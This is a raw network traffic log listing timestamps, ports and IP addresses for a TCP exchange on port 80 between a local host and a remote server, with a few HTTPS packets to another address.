Nov 22, 2024 14:43:58.942951918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.943303108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.943378925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.944077969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.944159985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.944243908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.945188999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.945200920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.945251942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.946135044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.946146965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.946650982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.946710110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.946728945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.946899891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.948687077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.948704004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.948765039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.948765993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.948909044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.948985100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.949032068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.950161934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.950175047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.950232029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.951244116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.951256990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.951344967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.952310085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.952374935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.953439951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.953552961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.954581976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.954679966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.955717087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.955849886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.956825018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.956929922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.957973957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.958079100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.958754063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.959108114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.959237099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.959331036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.960871935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.960886002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.960942030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.961400032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.961518049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.961594105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.965564966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965576887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965615034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965626955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.965636015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965662956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.965706110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.965728998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965742111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.965784073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.967355013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.967367887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.967417002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.972398996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.972467899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.972697973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.972764015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.973613977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.973625898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.974078894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.974675894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.974760056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.974838972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.975132942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.975708961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.975884914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.975893974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.976099014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.977076054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.977089882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.977171898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.978125095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.978184938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.978281975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.978610039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.979337931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.979351044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.979418039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.980490923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.980541945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.980643988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.980693102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.981544018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.981595993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.981692076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.981734991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.982626915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.982676029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.982821941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.982871056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.983866930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.983922005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.984042883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.984092951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.985080957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.985093117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.985131025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.986119986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.986131907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.986172915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.987354040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.987380981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.987409115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.987421989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.988552094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.988568068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.988612890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.989603043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.989650011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.989803076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.989860058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.990711927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.990765095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.990878105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.990921974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.991961002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.991974115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.992012978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.992883921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.992894888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.992949963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.994132996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.994146109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.994191885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.995212078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.995260954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.995383024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.995543957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.996432066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.996444941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.996483088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.996515989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.997471094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.997526884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.997637987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.997682095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.998565912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.998640060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.998701096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.998800039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.999763966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.999821901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.999912977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.999963045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.000905037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.000967979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.001087904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.001156092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.001966953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.001983881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.002026081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.003202915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.003216028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.003267050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.004257917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.004324913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.036514044 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.038311958 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.038341045 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.038772106 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.039199114 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.039259911 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.039700031 CET	49900	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.083332062 CET	443	49900	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.140440941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.140516996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.140527010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.140578985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.140940905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.141216040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.141271114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.141345978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.141395092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.142364979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.142453909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.142502069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.143484116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.143589020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.143956900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.144037008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.144668102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.144712925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.144738913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.145373106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.145728111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.145785093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.145874977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.145917892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.146862030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.147097111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.147126913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.147135973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.147972107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.148013115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.148091078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.148128033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.149132967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.149197102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.149255991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.149496078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.150244951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.150293112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.150353909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.150399923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.151387930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.151536942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.151580095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.152507067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.152548075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.152633905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.152674913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.153640032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.153680086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.153747082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.153852940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.154824972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.154926062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.154964924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.155955076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.156019926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.156028986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.156064034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.157094955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.157107115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.157139063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.157155991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.158193111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.158291101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.158313990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.158351898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.159343004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.159400940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.159425020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.159459114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.160532951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.160588980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.160614014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.160645962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.161695004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.161736012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.161782026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.162040949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.162733078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.162772894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.162813902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.163907051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.163980007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.164031029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.164063931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.165024042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.165070057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.165129900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.165242910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.166166067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.166204929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.166259050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.166344881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.167295933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.167342901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.167349100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.167377949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.168464899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.168478012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.168514013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.169553995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.169622898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.169946909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.169996977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.170676947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.170733929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.170780897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.170820951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.171837091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.171890974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.171915054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.171952009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.172974110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.173026085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.173032045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.173059940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.174109936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.174120903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.174160957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.175229073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.175277948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.175358057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.175403118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.176345110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.176402092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.176450014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.176487923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.177563906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.177576065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.177644014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.178622961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.178683996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.178734064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.178771019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.179786921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.179838896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.179918051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.179961920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.180886984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.180938959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.180999041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.181163073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.182046890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.182101011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.182194948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.182235003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.183176994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.183228970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.183250904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.183296919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.184340954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.184381962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.184405088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.184429884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.185482979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.185494900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.185540915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.186538935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.186620951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.186636925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.186680079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.187694073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.187741041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.187849998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.187890053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.188910007 CET	80	49819	185.215.113.206	192.168.2.6
